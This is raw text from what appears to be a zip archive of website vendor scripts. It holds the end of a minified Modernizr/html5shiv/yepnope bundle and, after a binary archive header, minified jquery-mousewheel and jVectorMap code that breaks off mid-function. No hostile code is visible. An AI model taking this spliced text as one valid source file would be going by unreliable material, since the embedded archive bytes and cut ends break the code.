g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return J("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var L in s)C(s,L)&&(x=L.toLowerCase(),e[x]=s[L](),v.push((e[x]?"":"no-")+x));return e.input||K(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)C(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},D(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.mq=z,e.hasEvent=A,e.testProp=function(a){return H([a])},e.testAllProps=J,e.testStyles=y,e.prefixed=function(a,b,c){return b?J(a,b,c):J(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};
PK��\7�A8;�;�(js/vendor/jquery-jvectormap-2.0.5.min.jsnu�[���!function($){var apiParams={set:{colors:1,values:1,backgroundColor:1,scaleColors:1,normalizeFunction:1,focus:1},get:{selectedRegions:1,selectedMarkers:1,mapObject:1,regionName:1}};$.fn.vectorMap=function(options){var map=this.children(".jvectormap-container").data("mapObject");if("addMap"===options)jvm.Map.maps[arguments[1]]=arguments[2];else{if(("set"===options||"get"===options)&&apiParams[options][arguments[1]])return map[options+(arguments[1].charAt(0).toUpperCase()+arguments[1].substr(1))].apply(map,Array.prototype.slice.call(arguments,2));(options=options||{}).container=this,map=new jvm.Map(options)}return this}}(jQuery),function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):"object"==typeof exports?module.exports=factory:factory(jQuery)}(function($){var nullLowestDeltaTimeout,lowestDelta,toFix=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],toBind="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],slice=Array.prototype.slice;if($.event.fixHooks)for(var i=toFix.length;i;)$.event.fixHooks[toFix[--i]]=$.event.mouseHooks;var special=$.event.special.mousewheel={version:"3.1.9",setup:function(){if(this.addEventListener)for(var i=toBind.length;i;)this.addEventListener(toBind[--i],handler,!1);else this.onmousewheel=handler;$.data(this,"mousewheel-line-height",special.getLineHeight(this)),$.data(this,"mousewheel-page-height",special.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var i=toBind.length;i;)this.removeEventListener(toBind[--i],handler,!1);else this.onmousewheel=null},getLineHeight:function(elem){return parseInt($(elem)["offsetParent"in $.fn?"offsetParent":"parent"]().css("fontSize"),10)},getPageHeight:function(elem){return $(elem).height()},settings:{adjustOldDeltas:!0}};function handler(event){var absDelta,orgEvent=event||window.event,args=slice.call(arguments,1),delta=0,deltaX=0,deltaY=0;if((event=$.event.fix(orgEvent)).type="mousewheel","detail"in orgEvent&&(deltaY=-1*orgEvent.detail),"wheelDelta"in orgEvent&&(deltaY=orgEvent.wheelDelta),"wheelDeltaY"in orgEvent&&(deltaY=orgEvent.wheelDeltaY),"wheelDeltaX"in orgEvent&&(deltaX=-1*orgEvent.wheelDeltaX),"axis"in orgEvent&&orgEvent.axis===orgEvent.HORIZONTAL_AXIS&&(deltaX=-1*deltaY,deltaY=0),delta=0===deltaY?deltaX:deltaY,"deltaY"in orgEvent&&(delta=deltaY=-1*orgEvent.deltaY),"deltaX"in orgEvent&&(deltaX=orgEvent.deltaX,0===deltaY&&(delta=-1*deltaX)),0!==deltaY||0!==deltaX){if(1===orgEvent.deltaMode){var lineHeight=$.data(this,"mousewheel-line-height");delta*=lineHeight,deltaY*=lineHeight,deltaX*=lineHeight}else if(2===orgEvent.deltaMode){var pageHeight=$.data(this,"mousewheel-page-height");delta*=pageHeight,deltaY*=pageHeight,deltaX*=pageHeight}return absDelta=Math.max(Math.abs(deltaY),Math.abs(deltaX)),(!lowestDelta||absDelta<lowestDelta)&&shouldAdjustOldDeltas(orgEvent,lowestDelta=absDelta)&&(lowestDelta/=40),shouldAdjustOldDeltas(orgEvent,absDelta)&&(delta/=40,deltaX/=40,deltaY/=40),delta=Math[1<=delta?"floor":"ceil"](delta/lowestDelta),deltaX=Math[1<=deltaX?"floor":"ceil"](deltaX/lowestDelta),deltaY=Math[1<=deltaY?"floor":"ceil"](deltaY/lowestDelta),event.deltaX=deltaX,event.deltaY=deltaY,event.deltaFactor=lowestDelta,event.deltaMode=0,args.unshift(event,delta,deltaX,deltaY),nullLowestDeltaTimeout&&clearTimeout(nullLowestDeltaTimeout),nullLowestDeltaTimeout=setTimeout(nullLowestDelta,200),($.event.dispatch||$.event.handle).apply(this,args)}}function nullLowestDelta(){lowestDelta=null}function shouldAdjustOldDeltas(orgEvent,absDelta){return special.settings.adjustOldDeltas&&"mousewheel"===orgEvent.type&&absDelta%120==0}$.fn.extend({mousewheel:function(fn){return fn?this.bind("mousewheel",fn):this.trigger("mousewheel")},unmousewheel:function(fn){return this.unbind("mousewheel",fn)}})});var jvm={inherits:function(child,parent){function temp(){}temp.prototype=parent.prototype,child.prototype=new temp,(child.prototype.constructor=child).parentClass=parent},mixin:function(target,source){var prop;for(prop in source.prototype)source.prototype.hasOwnProperty(prop)&&(target.prototype[prop]=source.prototype[prop])},min:function(values){var i,min=Number.MAX_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]<min&&(min=values[i]);else for(i in values)values[i]<min&&(min=values[i]);return min},max:function(values){var i,max=Number.MIN_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]>max&&(max=values[i]);else for(i in values)values[i]>max&&(max=values[i]);return max},keys:function(object){var key,keys=[];for(key in object)keys.push(key);return keys},values:function(object){var key,i,values=[];for(i=0;i<arguments.length;i++)for(key in object=arguments[i])values.push(object[key]);return values},whenImageLoaded:function(url){var deferred=new jvm.$.Deferred,img=jvm.$("<img/>");return img.on("error",function(){deferred.reject()}).on("load",function(){deferred.resolve(img)}),img.attr("src",url),deferred},isImageUrl:function(s){return/\.\w{3,4}$/.test(s)}};jvm.$=jQuery,Array.prototype.indexOf||(Array.prototype.indexOf=function(searchElement,fromIndex){var k;if(null==this)throw new TypeError('"this" is null or not defined');var O=Object(this),len=O.length>>>0;if(0==len)return-1;var n=+fromIndex||0;if(Math.abs(n)===1/0&&(n=0),len<=n)return-1;for(k=Math.max(0<=n?n:len-Math.abs(n),0);k<len;){if(k in O&&O[k]===searchElement)return k;k++}return-1}),jvm.AbstractElement=function(name,config){this.node=this.createElement(name),this.name=name,this.properties={},config&&this.set(config)},jvm.AbstractElement.prototype.set=function(property,value){var key;if("object"==typeof property)for(key in property)this.properties[key]=property[key],this.applyAttr(key,property[key]);else this.properties[property]=value,this.applyAttr(property,value)},jvm.AbstractElement.prototype.get=function(property){return this.properties[property]},jvm.AbstractElement.prototype.applyAttr=function(property,value){this.node.setAttribute(property,value)},jvm.AbstractElement.prototype.remove=function(){jvm.$(this.node).remove()},jvm.AbstractCanvasElement=function(container,width,height){this.container=container,this.setSize(width,height),this.rootElement=new jvm[this.classPrefix+"GroupElement"],this.node.appendChild(this.rootElement.node),this.container.appendChild(this.node)},jvm.AbstractCanvasElement.prototype.add=function(element,group){(group=group||this.rootElement).add(element),element.canvas=this},jvm.AbstractCanvasElement.prototype.addPath=function(config,style,group){var el=new jvm[this.classPrefix+"PathElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addCircle=function(config,style,group){var el=new jvm[this.classPrefix+"CircleElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addImage=function(config,style,group){var el=new jvm[this.classPrefix+"ImageElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addText=function(config,style,group){var el=new jvm[this.classPrefix+"TextElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addGroup=function(parentGroup){var el=new jvm[this.classPrefix+"GroupElement"];return parentGroup?parentGroup.node.appendChild(el.node):this.node.appendChild(el.node),el.canvas=this,el},jvm.AbstractShapeElement=function(name,config,style){this.style=style||{},this.style.current=this.style.current||{},this.isHovered=!1,this.isSelected=!1,this.updateStyle()},jvm.AbstractShapeElement.prototype.setStyle=function(property,value){var styles={};"object"==typeof property?styles=property:styles[property]=value,jvm.$.extend(this.style.current,styles),this.updateStyle()},jvm.AbstractShapeElement.prototype.updateStyle=function(){var attrs={};jvm.AbstractShapeElement.mergeStyles(attrs,this.style.initial),jvm.AbstractShapeElement.mergeStyles(attrs,this.style.current),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.hover),this.isSelected&&(jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selected),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selectedHover)),this.set(attrs)},jvm.AbstractShapeElement.mergeStyles=function(styles,newStyles){var key;for(key in newStyles=newStyles||{})null===newStyles[key]?delete styles[key]:styles[key]=newStyles[key]},jvm.SVGElement=function(name,config){jvm.SVGElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.SVGElement,jvm.AbstractElement),jvm.SVGElement.svgns="http://www.w3.org/2000/svg",jvm.SVGElement.prototype.createElement=function(tagName){return document.createElementNS(jvm.SVGElement.svgns,tagName)},jvm.SVGElement.prototype.addClass=function(className){this.node.setAttribute("class",className)},jvm.SVGElement.prototype.getElementCtr=function(ctr){return jvm["SVG"+ctr]},jvm.SVGElement.prototype.getBBox=function(){return this.node.getBBox()},jvm.SVGGroupElement=function(){jvm.SVGGroupElement.parentClass.call(this,"g")},jvm.inherits(jvm.SVGGroupElement,jvm.SVGElement),jvm.SVGGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.SVGCanvasElement=function(container,width,height){this.classPrefix="SVG",jvm.SVGCanvasElement.parentClass.call(this,"svg"),this.defsElement=new jvm.SVGElement("defs"),this.node.appendChild(this.defsElement.node),jvm.AbstractCanvasElement.apply(this,arguments)},jvm.inherits(jvm.SVGCanvasElement,jvm.SVGElement),jvm.mixin(jvm.SVGCanvasElement,jvm.AbstractCanvasElement),jvm.SVGCanvasElement.prototype.setSize=function(width,height){this.width=width,this.height=height,this.node.setAttribute("width",width),this.node.setAttribute("height",height)},jvm.SVGCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.setAttribute("transform","scale("+scale+") translate("+transX+", "+transY+")")},jvm.SVGShapeElement=function(name,config,style){jvm.SVGShapeElement.parentClass.call(this,name,config),jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.SVGShapeElement,jvm.SVGElement),jvm.mixin(jvm.SVGShapeElement,jvm.AbstractShapeElement),jvm.SVGShapeElement.prototype.applyAttr=function(attr,value){var patternEl,imageEl,that=this;"fill"===attr&&jvm.isImageUrl(value)?jvm.SVGShapeElement.images[value]?this.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")"):jvm.whenImageLoaded(value).then(function(img){(imageEl=new jvm.SVGElement("image")).node.setAttributeNS("http://www.w3.org/1999/xlink","href",value),imageEl.applyAttr("x","0"),imageEl.applyAttr("y","0"),imageEl.applyAttr("width",img[0].width),imageEl.applyAttr("height",img[0].height),(patternEl=new jvm.SVGElement("pattern")).applyAttr("id","image"+jvm.SVGShapeElement.imageCounter),patternEl.applyAttr("x",0),patternEl.applyAttr("y",0),patternEl.applyAttr("width",img[0].width/2),patternEl.applyAttr("height",img[0].height/2),patternEl.applyAttr("viewBox","0 0 "+img[0].width+" "+img[0].height),patternEl.applyAttr("patternUnits","userSpaceOnUse"),patternEl.node.appendChild(imageEl.node),that.canvas.defsElement.node.appendChild(patternEl.node),jvm.SVGShapeElement.images[value]=jvm.SVGShapeElement.imageCounter++,that.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")")}):jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGShapeElement.imageCounter=1,jvm.SVGShapeElement.images={},jvm.SVGPathElement=function(config,style){jvm.SVGPathElement.parentClass.call(this,"path",config,style),this.node.setAttribute("fill-rule","evenodd")},jvm.inherits(jvm.SVGPathElement,jvm.SVGShapeElement),jvm.SVGCircleElement=function(config,style){jvm.SVGCircleElement.parentClass.call(this,"circle",config,style)},jvm.inherits(jvm.SVGCircleElement,jvm.SVGShapeElement),jvm.SVGImageElement=function(config,style){jvm.SVGImageElement.parentClass.call(this,"image",config,style)},jvm.inherits(jvm.SVGImageElement,jvm.SVGShapeElement),jvm.SVGImageElement.prototype.applyAttr=function(attr,value){var imageUrl,that=this;"image"==attr?("object"==typeof value?(imageUrl=value.url,this.offset=value.offset):(imageUrl=value,this.offset=[0,0]),jvm.whenImageLoaded(imageUrl).then(function(img){that.node.setAttributeNS("http://www.w3.org/1999/xlink","href",imageUrl),that.width=img[0].width,that.height=img[0].height,that.applyAttr("width",that.width),that.applyAttr("height",that.height),that.applyAttr("x",that.cx-that.width/2+that.offset[0]),that.applyAttr("y",that.cy-that.height/2+that.offset[1]),jvm.$(that.node).trigger("imageloaded",[img])})):"cx"==attr?(this.cx=value,this.width&&this.applyAttr("x",value-this.width/2+this.offset[0])):"cy"==attr?(this.cy=value,this.height&&this.applyAttr("y",value-this.height/2+this.offset[1])):jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGTextElement=function(config,style){jvm.SVGTextElement.parentClass.call(this,"text",config,style)},jvm.inherits(jvm.SVGTextElement,jvm.SVGShapeElement),jvm.SVGTextElement.prototype.applyAttr=function(attr,value){"text"===attr?this.node.textContent=value:jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.VMLElement=function(name,config){jvm.VMLElement.VMLInitialized||jvm.VMLElement.initializeVML(),jvm.VMLElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.VMLElement,jvm.AbstractElement),jvm.VMLElement.VMLInitialized=!1,jvm.VMLElement.initializeVML=function(){try{document.namespaces.rvml||document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<rvml:"+tagName+' class="rvml">')}}catch(e){jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<"+tagName+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}document.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)"),jvm.VMLElement.VMLInitialized=!0},jvm.VMLElement.prototype.getElementCtr=function(ctr){return jvm["VML"+ctr]},jvm.VMLElement.prototype.addClass=function(className){jvm.$(this.node).addClass(className)},jvm.VMLElement.prototype.applyAttr=function(attr,value){this.node[attr]=value},jvm.VMLElement.prototype.getBBox=function(){var node=jvm.$(this.node);return{x:node.position().left/this.canvas.scale,y:node.position().top/this.canvas.scale,width:node.width()/this.canvas.scale,height:node.height()/this.canvas.scale}},jvm.VMLGroupElement=function(){jvm.VMLGroupElement.parentClass.call(this,"group"),this.node.style.left="0px",this.node.style.top="0px",this.node.coordorigin="0 0"},jvm.inherits(jvm.VMLGroupElement,jvm.VMLElement),jvm.VMLGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.VMLCanvasElement=function(container,width,height){this.classPrefix="VML",jvm.VMLCanvasElement.parentClass.call(this,"group"),jvm.AbstractCanvasElement.apply(this,arguments),this.node.style.position="absolute"},jvm.inherits(jvm.VMLCanvasElement,jvm.VMLElement),jvm.mixin(jvm.VMLCanvasElement,jvm.AbstractCanvasElement),jvm.VMLCanvasElement.prototype.setSize=function(width,height){var paths,groups,i,l;if(this.width=width,this.height=height,this.node.style.width=width+"px",this.node.style.height=height+"px",this.node.coordsize=width+" "+height,this.node.coordorigin="0 0",this.rootElement){for(i=0,l=(paths=this.rootElement.node.getElementsByTagName("shape")).length;i<l;i++)paths[i].coordsize=width+" "+height,paths[i].style.width=width+"px",paths[i].style.height=height+"px";for(i=0,l=(groups=this.node.getElementsByTagName("group")).length;i<l;i++)groups[i].coordsize=width+" "+height,groups[i].style.width=width+"px",groups[i].style.height=height+"px"}},jvm.VMLCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.coordorigin=this.width-transX-this.width/100+","+(this.height-transY-this.height/100),this.rootElement.node.coordsize=this.width/scale+","+this.height/scale},jvm.VMLShapeElement=function(name,config){jvm.VMLShapeElement.parentClass.call(this,name,config),this.fillElement=new jvm.VMLElement("fill"),this.strokeElement=new jvm.VMLElement("stroke"),this.node.appendChild(this.fillElement.node),this.node.appendChild(this.strokeElement.node),this.node.stroked=!1,jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.VMLShapeElement,jvm.VMLElement),jvm.mixin(jvm.VMLShapeElement,jvm.AbstractShapeElement),jvm.VMLShapeElement.prototype.applyAttr=function(attr,value){switch(attr){case"fill":this.node.fillcolor=value;break;case"fill-opacity":this.fillElement.node.opacity=Math.round(100*value)+"%";break;case"stroke":this.node.stroked="none"!==value,this.node.strokecolor=value;break;case"stroke-opacity":this.strokeElement.node.opacity=Math.round(100*value)+"%";break;case"stroke-width":0===parseInt(value,10)?this.node.stroked=!1:this.node.stroked=!0,this.node.strokeweight=value;break;case"d":this.node.path=jvm.VMLPathElement.pathSvgToVml(value);break;default:jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)}},jvm.VMLPathElement=function(config,style){var scale=new jvm.VMLElement("skew");jvm.VMLPathElement.parentClass.call(this,"shape",config,style),this.node.coordorigin="0 0",scale.node.on=!0,scale.node.matrix="0.01,0,0,0.01,0,0",scale.node.offset="0,0",this.node.appendChild(scale.node)},jvm.inherits(jvm.VMLPathElement,jvm.VMLShapeElement),jvm.VMLPathElement.prototype.applyAttr=function(attr,value){"d"===attr?this.node.path=jvm.VMLPathElement.pathSvgToVml(value):jvm.VMLShapeElement.prototype.applyAttr.call(this,attr,value)},jvm.VMLPathElement.pathSvgToVml=function(path){var ctrlx,ctrly,cx=0,cy=0;return(path=path.replace(/(-?\d+)e(-?\d+)/g,"0")).replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g,function(segment,letter,coords,index){(coords=coords.replace(/(\d)-/g,"$1,-").replace(/^\s+/g,"").replace(/\s+$/g,"").replace(/\s+/g,",").split(","))[0]||coords.shift();for(var i=0,l=coords.length;i<l;i++)coords[i]=Math.round(100*coords[i]);switch(letter){case"m":return cx+=coords[0],cy+=coords[1],"t"+coords.join(",");case"M":return cx=coords[0],cy=coords[1],"m"+coords.join(",");case"l":return cx+=coords[0],cy+=coords[1],"r"+coords.join(",");case"L":return cx=coords[0],cy=coords[1],"l"+coords.join(",");case"h":return cx+=coords[0],"r"+coords[0]+",0";case"H":return"l"+(cx=coords[0])+","+cy;case"v":return cy+=coords[0],"r0,"+coords[0];case"V":return cy=coords[0],"l"+cx+","+cy;case"c":return ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"C":return ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",");case"s":return coords.unshift(cy-ctrly),coords.unshift(cx-ctrlx),ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"S":return coords.unshift(cy+cy-ctrly),coords.unshift(cx+cx-ctrlx),ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",")}return""}).replace(/z/g,"e")},jvm.VMLCircleElement=function(config,style){jvm.VMLCircleElement.parentClass.call(this,"oval",config,style)},jvm.inherits(jvm.VMLCircleElement,jvm.VMLShapeElement),jvm.VMLCircleElement.prototype.applyAttr=function(attr,value){switch(attr){case"r":this.node.style.width=2*value+"px",this.node.style.height=2*value+"px",this.applyAttr("cx",this.get("cx")||0),this.applyAttr("cy",this.get("cy")||0);break;case"cx":if(!value)return;this.node.style.left=value-(this.get("r")||0)+"px";break;case"cy":if(!value)return;this.node.style.top=value-(this.get("r")||0)+"px";break;default:jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this,attr,value)}},jvm.VectorCanvas=function(container,width,height){return this.mode=window.SVGAngle?"svg":"vml","svg"==this.mode?this.impl=new jvm.SVGCanvasElement(container,width,height):this.impl=new jvm.VMLCanvasElement(container,width,height),this.impl.mode=this.mode,this.impl},jvm.SimpleScale=function(scale){this.scale=scale},jvm.SimpleScale.prototype.getValue=function(value){return value},jvm.OrdinalScale=function(scale){this.scale=scale},jvm.OrdinalScale.prototype.getValue=function(value){return 